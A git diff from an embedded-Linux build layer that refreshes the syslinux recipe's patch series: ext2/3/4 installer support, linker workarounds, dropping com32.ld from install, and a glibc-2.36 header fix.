-Reported-by: Joakim Tjernlund <Joakim.Tjernlund@infinera.com>
-Signed-off-by: H. Peter Anvin (Intel) <hpa@zytor.com>
-
-Upstream-Status: Backport
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- com32/lib/Makefile | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/com32/lib/Makefile b/com32/lib/Makefile
-index 74fff149..6a931492 100644
---- a/com32/lib/Makefile
-+++ b/com32/lib/Makefile
-@@ -113,7 +113,6 @@ spotless: clean
-
- install: all
- mkdir -m 755 -p $(INSTALLROOT)$(COM32DIR)
-- install -m 644 $(SRC)/com32.ld $(INSTALLROOT)$(COM32DIR)
- -rm -rf $(INSTALLROOT)$(COM32DIR)/include
- cp -r $(SRC)/../include $(INSTALLROOT)$(COM32DIR)
-
---
-2.17.1
-
diff --git a/meta/recipes-devtools/syslinux/syslinux/0001-linux-syslinux-support-ext2-3-4-device.patch b/meta/recipes-devtools/syslinux/syslinux/0001-linux-syslinux-support-ext2-3-4-device.patch
index 3ab7875274..1a4a4e3755 100644
--- a/meta/recipes-devtools/syslinux/syslinux/0001-linux-syslinux-support-ext2-3-4-device.patch
+++ b/meta/recipes-devtools/syslinux/syslinux/0001-linux-syslinux-support-ext2-3-4-device.patch
@@ -1,7 +1,7 @@
-From 60f3833ab2b5899771b4eab654e88f9888b99501 Mon Sep 17 00:00:00 2001
+From a469ce05055c44fdca1ca094ff3a735cc059480d Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Wed, 31 Dec 2014 16:01:55 +0800
-Subject: [PATCH 1/9] linux/syslinux: support ext2/3/4 device
+Subject: [PATCH] linux/syslinux: support ext2/3/4 device
* Support ext2/3/4 deivce.
* The open_ext2_fs() checks whether it is an ext2/3/4 device,
@@ -10,7 +10,7 @@ Subject: [PATCH 1/9] linux/syslinux: support ext2/3/4 device
* The ext2/3/4 support doesn't require root privileges since it doesn't need
mount (but write permission is required).
-Upstream-Status: Submitted
+Upstream-Status: Submitted [https://www.syslinux.org/archives/2015-January/023039.html]
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Tested-by: Du Dolpher <dolpher.du@intel.com>
@@ -19,10 +19,10 @@ Tested-by: Du Dolpher <dolpher.du@intel.com>
1 file changed, 36 insertions(+)
diff --git a/linux/syslinux.c b/linux/syslinux.c
-index 912de71..36fc202 100755
+index 46d5624..1cc276b 100755
--- a/linux/syslinux.c
+++ b/linux/syslinux.c
-@@ -256,6 +256,23 @@ int do_open_file(char *name)
+@@ -257,6 +257,23 @@ int do_open_file(char *name)
return fd;
}
@@ -46,7 +46,7 @@ index 912de71..36fc202 100755
int main(int argc, char *argv[])
{
static unsigned char sectbuf[SECTOR_SIZE];
-@@ -313,6 +330,24 @@ int main(int argc, char *argv[])
+@@ -314,6 +331,24 @@ int main(int argc, char *argv[])
die("can't combine an offset with a block device");
}
@@ -71,7 +71,7 @@ index 912de71..36fc202 100755
xpread(dev_fd, sectbuf, SECTOR_SIZE, opt.offset);
fsync(dev_fd);
-@@ -322,6 +357,7 @@ int main(int argc, char *argv[])
+@@ -323,6 +358,7 @@ int main(int argc, char *argv[])
*/
if ((errmsg = syslinux_check_bootsect(sectbuf, &fs_type))) {
fprintf(stderr, "%s: %s\n", opt.device, errmsg);
@@ -79,6 +79,3 @@ index 912de71..36fc202 100755
exit(1);
}
---
-1.9.1
-
diff --git a/meta/recipes-devtools/syslinux/syslinux/0002-linux-syslinux-implement-open_ext2_fs.patch b/meta/recipes-devtools/syslinux/syslinux/0002-linux-syslinux-implement-open_ext2_fs.patch
index 77cf060451..1acd9b0b69 100644
--- a/meta/recipes-devtools/syslinux/syslinux/0002-linux-syslinux-implement-open_ext2_fs.patch
+++ b/meta/recipes-devtools/syslinux/syslinux/0002-linux-syslinux-implement-open_ext2_fs.patch
@@ -1,7 +1,7 @@
-From 07fb737fb60c08eaaa41989d531fc23009523546 Mon Sep 17 00:00:00 2001
+From c6ddb179577dd4c4ea4d1d154f979e90e53d6bf1 Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Wed, 31 Dec 2014 16:09:18 +0800
-Subject: [PATCH 2/9] linux/syslinux: implement open_ext2_fs()
+Subject: [PATCH] linux/syslinux: implement open_ext2_fs()
The open_ext2_fs() checks whether it is an ext2/ext3/ext4 device, and
return:
@@ -15,14 +15,14 @@ Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Tested-by: Du Dolpher <dolpher.du@intel.com>
---
linux/Makefile | 2 +-
- linux/syslinux.c | 80 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ linux/syslinux.c | 80 ++++++++++++++++++++++++++++++++++++++++++++++++
2 files changed, 81 insertions(+), 1 deletion(-)
diff --git a/linux/Makefile b/linux/Makefile
-index 11667e1..ac1ac58 100644
+index 5a49d81..67cbbb4 100644
--- a/linux/Makefile
+++ b/linux/Makefile
-@@ -51,7 +51,7 @@ spotless: clean
+@@ -52,7 +52,7 @@ spotless: clean
installer: syslinux syslinux-nomtools
syslinux: $(OBJS)
@@ -32,10 +32,10 @@ index 11667e1..ac1ac58 100644
syslinux-nomtools: syslinux
ln -f $< $@
diff --git a/linux/syslinux.c b/linux/syslinux.c
-index 36fc202..cc4e7da 100755
+index 1cc276b..f3727ea 100755
--- a/linux/syslinux.c
+++ b/linux/syslinux.c
-@@ -72,6 +72,7 @@
+@@ -73,6 +73,7 @@
#include "syslxfs.h"
#include "setadv.h"
#include "syslxopt.h" /* unified options */
@@ -43,7 +43,7 @@ index 36fc202..cc4e7da 100755
extern const char *program; /* Name of program */
-@@ -82,6 +83,9 @@ char *mntpath = NULL; /* Path on which to mount */
+@@ -83,6 +84,9 @@ char *mntpath = NULL; /* Path on which to mount */
int loop_fd = -1; /* Loop device */
#endif
@@ -53,7 +53,7 @@ index 36fc202..cc4e7da 100755
void __attribute__ ((noreturn)) die(const char *msg)
{
fprintf(stderr, "%s: %s\n", program, msg);
-@@ -266,6 +270,82 @@ int do_open_file(char *name)
+@@ -267,6 +271,82 @@ int do_open_file(char *name)
*/
static int open_ext2_fs(const char *device, const char *subdir)
{
@@ -136,6 +136,3 @@ index 36fc202..cc4e7da 100755
}
/* The install func for ext2, ext3 and ext4 */
---
-1.9.1
-
diff --git a/meta/recipes-devtools/syslinux/syslinux/0003-linux-syslinux-implement-install_to_ext2.patch b/meta/recipes-devtools/syslinux/syslinux/0003-linux-syslinux-implement-install_to_ext2.patch
index 84ba10526a..8d2fef2d49 100644
--- a/meta/recipes-devtools/syslinux/syslinux/0003-linux-syslinux-implement-install_to_ext2.patch
+++ b/meta/recipes-devtools/syslinux/syslinux/0003-linux-syslinux-implement-install_to_ext2.patch
@@ -1,7 +1,7 @@
-From 64d856b243812907068776b204a003a3a8fa122a Mon Sep 17 00:00:00 2001
+From 9110cf47d04ca1958d14228908a5c57a23769e7d Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Wed, 31 Dec 2014 16:17:42 +0800
-Subject: [PATCH 3/9] linux/syslinux: implement install_to_ext2()
+Subject: [PATCH] linux/syslinux: implement install_to_ext2()
* The handle_adv_on_ext() checks whether we only need update adv.
* The write_to_ext() installs files (ldlinux.sys or ldlinux.c32) to the
@@ -13,14 +13,14 @@ Upstream-Status: Submitted
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Tested-by: Du Dolpher <dolpher.du@intel.com>
---
- linux/syslinux.c | 79 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ linux/syslinux.c | 79 ++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 79 insertions(+)
diff --git a/linux/syslinux.c b/linux/syslinux.c
-index cc4e7da..45f080d 100755
+index f3727ea..fc5edb1 100755
--- a/linux/syslinux.c
+++ b/linux/syslinux.c
-@@ -346,11 +346,90 @@ static int open_ext2_fs(const char *device, const char *subdir)
+@@ -347,11 +347,90 @@ static int open_ext2_fs(const char *device, const char *subdir)
fail:
(void) ext2fs_close(e2fs);
return -1;
@@ -111,6 +111,3 @@ index cc4e7da..45f080d 100755
}
int main(int argc, char *argv[])
---
-1.9.1
-
diff --git a/meta/recipes-devtools/syslinux/syslinux/0004-linux-syslinux-add-ext_file_read-and-ext_file_write.patch b/meta/recipes-devtools/syslinux/syslinux/0004-linux-syslinux-add-ext_file_read-and-ext_file_write.patch
index 64b56d92e0..0a32969154 100644
--- a/meta/recipes-devtools/syslinux/syslinux/0004-linux-syslinux-add-ext_file_read-and-ext_file_write.patch
+++ b/meta/recipes-devtools/syslinux/syslinux/0004-linux-syslinux-add-ext_file_read-and-ext_file_write.patch
@@ -1,7 +1,7 @@
-From 35d3842cc4b930c5102eed2921e0189b7f4fd069 Mon Sep 17 00:00:00 2001
+From 1957fc6c069493c6789557936adb675f5e7e51ba Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Wed, 31 Dec 2014 16:43:37 +0800
-Subject: [PATCH 4/9] linux/syslinux: add ext_file_read() and ext_file_write()
+Subject: [PATCH] linux/syslinux: add ext_file_read() and ext_file_write()
Will use them to read and write on the extX device.
@@ -10,14 +10,14 @@ Upstream-Status: Submitted
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Tested-by: Du Dolpher <dolpher.du@intel.com>
---
- linux/syslinux.c | 62 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ linux/syslinux.c | 62 ++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 62 insertions(+)
diff --git a/linux/syslinux.c b/linux/syslinux.c
-index 45f080d..247c86a 100755
+index fc5edb1..c7c1994 100755
--- a/linux/syslinux.c
+++ b/linux/syslinux.c
-@@ -349,6 +349,68 @@ fail:
+@@ -350,6 +350,68 @@ fail:
}
@@ -86,6 +86,3 @@ index 45f080d..247c86a 100755
/*
* Install the boot block on the specified device.
* Must be run AFTER file installed.
---
-1.9.1
-
diff --git a/meta/recipes-devtools/syslinux/syslinux/0005-linux-syslinux-implement-handle_adv_on_ext.patch b/meta/recipes-devtools/syslinux/syslinux/0005-linux-syslinux-implement-handle_adv_on_ext.patch
index 829e7c4ca1..76885f762b 100644
--- a/meta/recipes-devtools/syslinux/syslinux/0005-linux-syslinux-implement-handle_adv_on_ext.patch
+++ b/meta/recipes-devtools/syslinux/syslinux/0005-linux-syslinux-implement-handle_adv_on_ext.patch
@@ -1,7 +1,7 @@
-From cdb980b37f40dc2c41891434c7736e49da53756e Mon Sep 17 00:00:00 2001
+From ee3a60829edc9d3344dc872fb0158e7b006f02be Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Wed, 31 Dec 2014 16:47:52 +0800
-Subject: [PATCH 5/9] linux/syslinux: implement handle_adv_on_ext()
+Subject: [PATCH] linux/syslinux: implement handle_adv_on_ext()
It reads adv if found on the device, or resets syslinux_adv, or update
the adv if update adv only.
@@ -11,14 +11,14 @@ Upstream-Status: Submitted
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Tested-by: Du Dolpher <dolpher.du@intel.com>
---
- linux/syslinux.c | 97 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ linux/syslinux.c | 97 ++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 97 insertions(+)
diff --git a/linux/syslinux.c b/linux/syslinux.c
-index 247c86a..de5d272 100755
+index c7c1994..90b8edd 100755
--- a/linux/syslinux.c
+++ b/linux/syslinux.c
-@@ -421,6 +421,103 @@ int install_bootblock(int fd, const char *device)
+@@ -422,6 +422,103 @@ int install_bootblock(int fd, const char *device)
static int handle_adv_on_ext(void)
{
@@ -122,6 +122,3 @@ index 247c86a..de5d272 100755
}
/* Write files, adv, boot sector */
---
-1.9.1
-
diff --git a/meta/recipes-devtools/syslinux/syslinux/0006-linux-syslinux-implement-write_to_ext-and-add-syslin.patch b/meta/recipes-devtools/syslinux/syslinux/0006-linux-syslinux-implement-write_to_ext-and-add-syslin.patch
index cba87252a5..ba6d29d3bb 100644
--- a/meta/recipes-devtools/syslinux/syslinux/0006-linux-syslinux-implement-write_to_ext-and-add-syslin.patch
+++ b/meta/recipes-devtools/syslinux/syslinux/0006-linux-syslinux-implement-write_to_ext-and-add-syslin.patch
@@ -1,7 +1,7 @@
-From 922e56c10e36d876777580c84daef9a66bea6525 Mon Sep 17 00:00:00 2001
+From 758731ce2432ab29a73505bbeb99a960996ab686 Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Wed, 31 Dec 2014 17:20:43 +0800
-Subject: [PATCH 6/9] linux/syslinux: implement write_to_ext() and add
+Subject: [PATCH] linux/syslinux: implement write_to_ext() and add
syslinuxext.c
* The write_to_ext() write file to the extX device, and handle the boot
@@ -17,7 +17,7 @@ Tested-by: Du Dolpher <dolpher.du@intel.com>
libinstaller/syslinuxext.c | 7 +++
libinstaller/syslinuxext.h | 5 ++
linux/Makefile | 3 +-
- linux/syslinux.c | 118 +++++++++++++++++++++++++++++++++++++++++++++
+ linux/syslinux.c | 118 +++++++++++++++++++++++++++++++++++++
4 files changed, 132 insertions(+), 1 deletion(-)
create mode 100644 libinstaller/syslinuxext.c
create mode 100644 libinstaller/syslinuxext.h
@@ -47,10 +47,10 @@ index 0000000..8abd8b9
+
+void syslinux_patch_bootsect(int dev_fd);
diff --git a/linux/Makefile b/linux/Makefile
-index ac1ac58..3b23867 100644
+index 67cbbb4..567134c 100644
--- a/linux/Makefile
+++ b/linux/Makefile
-@@ -30,7 +30,8 @@ SRCS = syslinux.c \
+@@ -31,7 +31,8 @@ SRCS = syslinux.c \
../libinstaller/syslxmod.c \
../libinstaller/bootsect_bin.c \
../libinstaller/ldlinuxc32_bin.c \
@@ -61,7 +61,7 @@ index ac1ac58..3b23867 100644
.SUFFIXES: .c .o .i .s .S
diff --git a/linux/syslinux.c b/linux/syslinux.c
-index de5d272..f0c97a8 100755
+index 90b8edd..7a20fe6 100755
--- a/linux/syslinux.c
+++ b/linux/syslinux.c
@@ -46,6 +46,7 @@
@@ -72,7 +72,7 @@ index de5d272..f0c97a8 100755
#include "linuxioctl.h"
-@@ -72,6 +73,7 @@
+@@ -73,6 +74,7 @@
#include "syslxfs.h"
#include "setadv.h"
#include "syslxopt.h" /* unified options */
@@ -80,7 +80,7 @@ index de5d272..f0c97a8 100755
#include <ext2fs/ext2fs.h>
extern const char *program; /* Name of program */
-@@ -419,6 +421,12 @@ int install_bootblock(int fd, const char *device)
+@@ -420,6 +422,12 @@ int install_bootblock(int fd, const char *device)
{
}
@@ -93,7 +93,7 @@ index de5d272..f0c97a8 100755
static int handle_adv_on_ext(void)
{
int i, retval, found_file;
-@@ -524,6 +532,116 @@ fail:
+@@ -525,6 +533,116 @@ fail:
static int write_to_ext(const char *filename, const char *str, int length,
int i_flags, int dev_fd, const char *subdir)
{
@@ -210,6 +210,3 @@ index de5d272..f0c97a8 100755
}
/* The install func for ext2, ext3 and ext4 */
---
-1.9.1
-
diff --git a/meta/recipes-devtools/syslinux/syslinux/0007-linux-syslinux-implement-ext_construct_sectmap_fs.patch b/meta/recipes-devtools/syslinux/syslinux/0007-linux-syslinux-implement-ext_construct_sectmap_fs.patch
index 3913811917..57cdaf437b 100644
--- a/meta/recipes-devtools/syslinux/syslinux/0007-linux-syslinux-implement-ext_construct_sectmap_fs.patch
+++ b/meta/recipes-devtools/syslinux/syslinux/0007-linux-syslinux-implement-ext_construct_sectmap_fs.patch
@@ -1,7 +1,7 @@
-From a95b831e18dd123f859bc5e6c4cecdcc0184ee37 Mon Sep 17 00:00:00 2001
+From 906205015601d5d1190e7326f51ea4316a74a479 Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Fri, 2 Jan 2015 12:18:02 +0800
-Subject: [PATCH 7/9] linux/syslinux: implement ext_construct_sectmap_fs()
+Subject: [PATCH] linux/syslinux: implement ext_construct_sectmap_fs()
The ext_construct_sectmap_fs() constucts the sector according to the
bmap.
@@ -11,14 +11,14 @@ Upstream-Status: Submitted
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Tested-by: Du Dolpher <dolpher.du@intel.com>
---
- linux/syslinux.c | 50 ++++++++++++++++++++++++++++++++++++++++++++++++++
+ linux/syslinux.c | 50 ++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 50 insertions(+)
diff --git a/linux/syslinux.c b/linux/syslinux.c
-index f0c97a8..c741750 100755
+index 7a20fe6..4e43921 100755
--- a/linux/syslinux.c
+++ b/linux/syslinux.c
-@@ -421,10 +421,60 @@ int install_bootblock(int fd, const char *device)
+@@ -422,10 +422,60 @@ int install_bootblock(int fd, const char *device)
{
}
@@ -79,6 +79,3 @@ index f0c97a8..c741750 100755
}
static int handle_adv_on_ext(void)
---
-1.9.1
-
diff --git a/meta/recipes-devtools/syslinux/syslinux/0008-libinstaller-syslinuxext-implement-syslinux_patch_bo.patch b/meta/recipes-devtools/syslinux/syslinux/0008-libinstaller-syslinuxext-implement-syslinux_patch_bo.patch
index f1d01fa43c..b026eba5ad 100644
--- a/meta/recipes-devtools/syslinux/syslinux/0008-libinstaller-syslinuxext-implement-syslinux_patch_bo.patch
+++ b/meta/recipes-devtools/syslinux/syslinux/0008-libinstaller-syslinuxext-implement-syslinux_patch_bo.patch
@@ -1,4 +1,4 @@
-From efce87e5ab98664c57e5f4e3955a2f3747df5737 Mon Sep 17 00:00:00 2001
+From acfc8214d3d60b7e251ae66a59b81cdd1ff7a6dc Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Fri, 2 Jan 2015 12:26:46 +0800
Subject: [PATCH] libinstaller/syslinuxext: implement syslinux_patch_bootsect()
@@ -22,7 +22,7 @@ Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
3 files changed, 176 insertions(+), 165 deletions(-)
diff --git a/extlinux/Makefile b/extlinux/Makefile
-index 1721ee54..62a49728 100644
+index 1721ee5..62a4972 100644
--- a/extlinux/Makefile
+++ b/extlinux/Makefile
@@ -32,7 +32,8 @@ SRCS = main.c \
@@ -36,7 +36,7 @@ index 1721ee54..62a49728 100644
.SUFFIXES: .c .o .i .s .S
diff --git a/extlinux/main.c b/extlinux/main.c
-index ebff7eae..9add50fb 100644
+index ebff7ea..9add50f 100644
--- a/extlinux/main.c
+++ b/extlinux/main.c
@@ -62,6 +62,7 @@
@@ -244,7 +244,7 @@ index ebff7eae..9add50fb 100644
/* Construct the boot file map */
diff --git a/libinstaller/syslinuxext.c b/libinstaller/syslinuxext.c
-index bb54cefc..9ae82884 100644
+index bb54cef..9ae8288 100644
--- a/libinstaller/syslinuxext.c
+++ b/libinstaller/syslinuxext.c
@@ -1,7 +1,178 @@
@@ -426,6 +426,3 @@ index bb54cefc..9ae82884 100644
+ set_32(&sbs->bsHiddenSecs, geo.start);
}
---
-2.17.1
-
diff --git a/meta/recipes-devtools/syslinux/syslinux/0009-linux-syslinux-implement-install_bootblock.patch b/meta/recipes-devtools/syslinux/syslinux/0009-linux-syslinux-implement-install_bootblock.patch
index cd89d92485..1c875e81f6 100644
--- a/meta/recipes-devtools/syslinux/syslinux/0009-linux-syslinux-implement-install_bootblock.patch
+++ b/meta/recipes-devtools/syslinux/syslinux/0009-linux-syslinux-implement-install_bootblock.patch
@@ -1,7 +1,7 @@
-From 76c465e87312dbc6cffd05427f1f4d2ebdee4f13 Mon Sep 17 00:00:00 2001
+From c28aae8bd381f77e66e6bac79761df7a484b054c Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Fri, 2 Jan 2015 12:28:35 +0800
-Subject: [PATCH 9/9] linux/syslinux: implement install_bootblock()
+Subject: [PATCH] linux/syslinux: implement install_bootblock()
Refer to the install_bootblock() in extlinux/main.c to make
linux/syslinux.c's install_bootblock() which only supports ext2/3/4.
@@ -15,10 +15,10 @@ Tested-by: Du Dolpher <dolpher.du@intel.com>
1 file changed, 20 insertions(+)
diff --git a/linux/syslinux.c b/linux/syslinux.c
-index c741750..917f83a 100755
+index 4e43921..93ed880 100755
--- a/linux/syslinux.c
+++ b/linux/syslinux.c
-@@ -419,6 +419,26 @@ static int ext_file_write(ext2_file_t e2_file, const void *buf, size_t count,
+@@ -420,6 +420,26 @@ static int ext_file_write(ext2_file_t e2_file, const void *buf, size_t count,
*/
int install_bootblock(int fd, const char *device)
{
@@ -45,6 +45,3 @@ index c741750..917f83a 100755
}
/* The file's block count */
---
-1.9.1
-
diff --git a/meta/recipes-devtools/syslinux/syslinux/0010-Workaround-multiple-definition-of-symbol-errors.patch b/meta/recipes-devtools/syslinux/syslinux/0010-Workaround-multiple-definition-of-symbol-errors.patch
index 44cb153276..813d10ba5c 100644
--- a/meta/recipes-devtools/syslinux/syslinux/0010-Workaround-multiple-definition-of-symbol-errors.patch
+++ b/meta/recipes-devtools/syslinux/syslinux/0010-Workaround-multiple-definition-of-symbol-errors.patch
@@ -1,13 +1,12 @@
-From 951928f2cad5682c2844e6bd0f7201236c5d9b66 Mon Sep 17 00:00:00 2001
+From f2a5b64785958226c022cac9931b059b98f4e896 Mon Sep 17 00:00:00 2001
From: Merlin Mathesius <mmathesi@redhat.com>
Date: Wed, 13 May 2020 08:02:27 -0500
Subject: [PATCH] Workaround multiple definition of symbol errors
Lifted from Fedora https://src.fedoraproject.org/rpms/syslinux/blob/master/f/0005-Workaround-multiple-definition-of-symbol-errors.patch
-Upstream-Status: Pending
+Upstream-Status: Inactive-Upstream
Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
---
com32/cmenu/Makefile | 2 +-
com32/elflink/ldlinux/Makefile | 2 +-
@@ -18,6 +17,8 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
efi/Makefile | 2 +-
7 files changed, 7 insertions(+), 7 deletions(-)
+diff --git a/com32/cmenu/Makefile b/com32/cmenu/Makefile
+index b81b68e..2ae989c 100644
--- a/com32/cmenu/Makefile
+++ b/com32/cmenu/Makefile
@@ -49,7 +49,7 @@ makeoutputdirs:
@@ -29,6 +30,8 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
-o $@ $^
tidy dist:
+diff --git a/com32/elflink/ldlinux/Makefile b/com32/elflink/ldlinux/Makefile
+index 87c0d36..2be2a01 100644
--- a/com32/elflink/ldlinux/Makefile
+++ b/com32/elflink/ldlinux/Makefile
@@ -33,7 +33,7 @@ endif
@@ -40,6 +43,8 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
LNXCFLAGS += -D__export='__attribute__((visibility("default")))'
LNXLIBOBJS = get_key.lo
+diff --git a/com32/gpllib/Makefile b/com32/gpllib/Makefile
+index 1fec914..2d764d0 100644
--- a/com32/gpllib/Makefile
+++ b/com32/gpllib/Makefile
@@ -24,7 +24,7 @@ makeoutputdirs:
@@ -51,6 +56,8 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
tidy dist clean:
find . \( -name \*.o -o -name .\*.d -o -name \*.tmp \) -print0 | \
+diff --git a/com32/hdt/Makefile b/com32/hdt/Makefile
+index 61736d0..1d94785 100644
--- a/com32/hdt/Makefile
+++ b/com32/hdt/Makefile
@@ -52,7 +52,7 @@ QEMU ?= qemu-kvm
@@ -62,6 +69,8 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
memtest:
-[ ! -f $(FLOPPY_DIR)/$(MEMTEST) ] && $(WGET) $(MEMTEST_URL) -O $(FLOPPY_DIR)/$(MEMTEST)
+diff --git a/core/Makefile b/core/Makefile
+index 50ff35a..f0a5562 100644
--- a/core/Makefile
+++ b/core/Makefile
@@ -156,7 +156,7 @@ LDSCRIPT = $(SRC)/$(ARCH)/syslinux.ld
@@ -73,6 +82,8 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
-T $(LDSCRIPT) \
--unresolved-symbols=report-all \
-E --hash-style=gnu -M -o $@ $< \
+diff --git a/dos/Makefile b/dos/Makefile
+index 4c930d1..5d1c72c 100644
--- a/dos/Makefile
+++ b/dos/Makefile
@@ -19,7 +19,7 @@ include $(MAKEDIR)/embedded.mk
@@ -84,6 +95,8 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
OPTFLAGS = -g
INCLUDES = -include code16.h -nostdinc -iwithprefix include \
-I$(SRC) -I$(SRC)/.. -I$(SRC)/../libfat \
+diff --git a/efi/Makefile b/efi/Makefile
+index f4501e7..72e081e 100644
--- a/efi/Makefile
+++ b/efi/Makefile
@@ -71,7 +71,7 @@ $(OBJS): | $(OBJ)/$(ARCH)
diff --git a/meta/recipes-devtools/syslinux/syslinux/0011-install-don-t-install-obsolete-file-com32.ld.patch b/meta/recipes-devtools/syslinux/syslinux/0011-install-don-t-install-obsolete-file-com32.ld.patch
new file mode 100644
index 0000000000..4bc423a1de
--- /dev/null
+++ b/meta/recipes-devtools/syslinux/syslinux/0011-install-don-t-install-obsolete-file-com32.ld.patch
@@ -0,0 +1,29 @@
+From 66447f7c5c6996481ebd68ce8224d3de7525aad8 Mon Sep 17 00:00:00 2001
+From: "H. Peter Anvin (Intel)" <hpa@zytor.com>
+Date: Wed, 6 Feb 2019 11:30:51 -0800
+Subject: [PATCH] install: don't install obsolete file com32.ld
+
+com32.ld has been obsolete for a long time, and has been removed now;
+don't install it either.
+
+Reported-by: Joakim Tjernlund <Joakim.Tjernlund@infinera.com>
+Signed-off-by: H. Peter Anvin (Intel) <hpa@zytor.com>
+
+Upstream-Status: Backport
+Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
+---
+ com32/lib/Makefile | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/com32/lib/Makefile b/com32/lib/Makefile
+index 74fff14..6a93149 100644
+--- a/com32/lib/Makefile
++++ b/com32/lib/Makefile
+@@ -113,7 +113,6 @@ spotless: clean
+
+ install: all
+ mkdir -m 755 -p $(INSTALLROOT)$(COM32DIR)
+- install -m 644 $(SRC)/com32.ld $(INSTALLROOT)$(COM32DIR)
+ -rm -rf $(INSTALLROOT)$(COM32DIR)/include
+ cp -r $(SRC)/../include $(INSTALLROOT)$(COM32DIR)
+
diff --git a/meta/recipes-devtools/syslinux/syslinux/0012-libinstaller-Fix-build-with-glibc-2.36.patch b/meta/recipes-devtools/syslinux/syslinux/0012-libinstaller-Fix-build-with-glibc-2.36.patch
new file mode 100644
index 0000000000..21b83e49dc
--- /dev/null
+++ b/meta/recipes-devtools/syslinux/syslinux/0012-libinstaller-Fix-build-with-glibc-2.36.patch
@@ -0,0 +1,56 @@
+From 821d31148c07a8318277be32bc6a943c7fd2ba3f Mon Sep 17 00:00:00 2001
+From: Martin Jansa <Martin.Jansa@gmail.com>
+Date: Sat, 6 Aug 2022 11:53:55 +0000
+Subject: [PATCH] libinstaller: Fix build with glibc-2.36
+
+* add only necessary definitions from linux/fs.h, because including whole
+ causes conflicts with sys/mount.h:
+ http://errors.yoctoproject.org/Errors/Details/664535/
+
+In file included from TOPDIR/tmp-glibc/work/core2-64-oe-linux/syslinux/6.04-pre2-r1/recipe-sysroot/usr/include/linux/fs.h:19,
+ from TOPDIR/tmp-glibc/work/core2-64-oe-linux/syslinux/6.04-pre2-r1/syslinux-6.04-pre2/linux/../libinstaller/linuxioctl.h:19,
+ from TOPDIR/tmp-glibc/work/core2-64-oe-linux/syslinux/6.04-pre2-r1/syslinux-6.04-pre2/linux/../libinstaller/syslxcom.c:34:
+TOPDIR/tmp-glibc/work/core2-64-oe-linux/syslinux/6.04-pre2-r1/recipe-sysroot/usr/include/linux/mount.h:95:6: error: redeclaration of 'enum fsconfig_command'
+ 95 | enum fsconfig_command {
+ | ^~~~~~~~~~~~~~~~
+In file included from TOPDIR/tmp-glibc/work/core2-64-oe-linux/syslinux/6.04-pre2-r1/syslinux-6.04-pre2/linux/../libinstaller/syslxcom.c:31:
+TOPDIR/tmp-glibc/work/core2-64-oe-linux/syslinux/6.04-pre2-r1/recipe-sysroot/usr/include/sys/mount.h:189:6: note: originally defined here
+ 189 | enum fsconfig_command
+ | ^~~~~~~~~~~~~~~~
+TOPDIR/tmp-glibc/work/core2-64-oe-linux/syslinux/6.04-pre2-r1/recipe-sysroot/usr/include/linux/mount.h:96:9: error: redeclaration of enumerator 'FSCONFIG_SET_FLAG'
+ 96 | FSCONFIG_SET_FLAG = 0, /* Set parameter, supplying no value */
+ | ^~~~~~~~~~~~~~~~~
+...
+
+Upstream-Status: Inactive-Upstream
+Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+---
+ libinstaller/linuxioctl.h | 15 ++++++++++++++-
+ 1 file changed, 14 insertions(+), 1 deletion(-)
+
+diff --git a/libinstaller/linuxioctl.h b/libinstaller/linuxioctl.h
+index e2731c7..f4a6703 100644
+--- a/libinstaller/linuxioctl.h
++++ b/libinstaller/linuxioctl.h
+@@ -16,7 +16,20 @@
+ #include <linux/fd.h> /* Floppy geometry */
+ #include <linux/hdreg.h> /* Hard disk geometry */
+
+-#include <linux/fs.h> /* FIGETBSZ, FIBMAP, FS_IOC_* */
++// #include <linux/fs.h> /* FIGETBSZ, FIBMAP, FS_IOC_* */
++// linux/fs.h unfortunately causes conflict with sys/mount.h since glibc-2.36
++// https://sourceware.org/glibc/wiki/Release/2.36#Usage_of_.3Clinux.2Fmount.h.3E_and_.3Csys.2Fmount.h.3E
++// add the necessary definitions
++
++#define FS_IOC_GETFLAGS _IOR('f', 1, long)
++#define FS_IOC_SETFLAGS _IOW('f', 2, long)
++#define FIBMAP _IO(0x00,1) /* bmap access */
++#define FIGETBSZ _IO(0x00,2) /* get the block size used for bmap */
++#define FS_IMMUTABLE_FL 0x00000010 /* Immutable file */
++#define BLKGETSIZE _IO(0x12,96) /* return device size /512 (long *arg) */
++
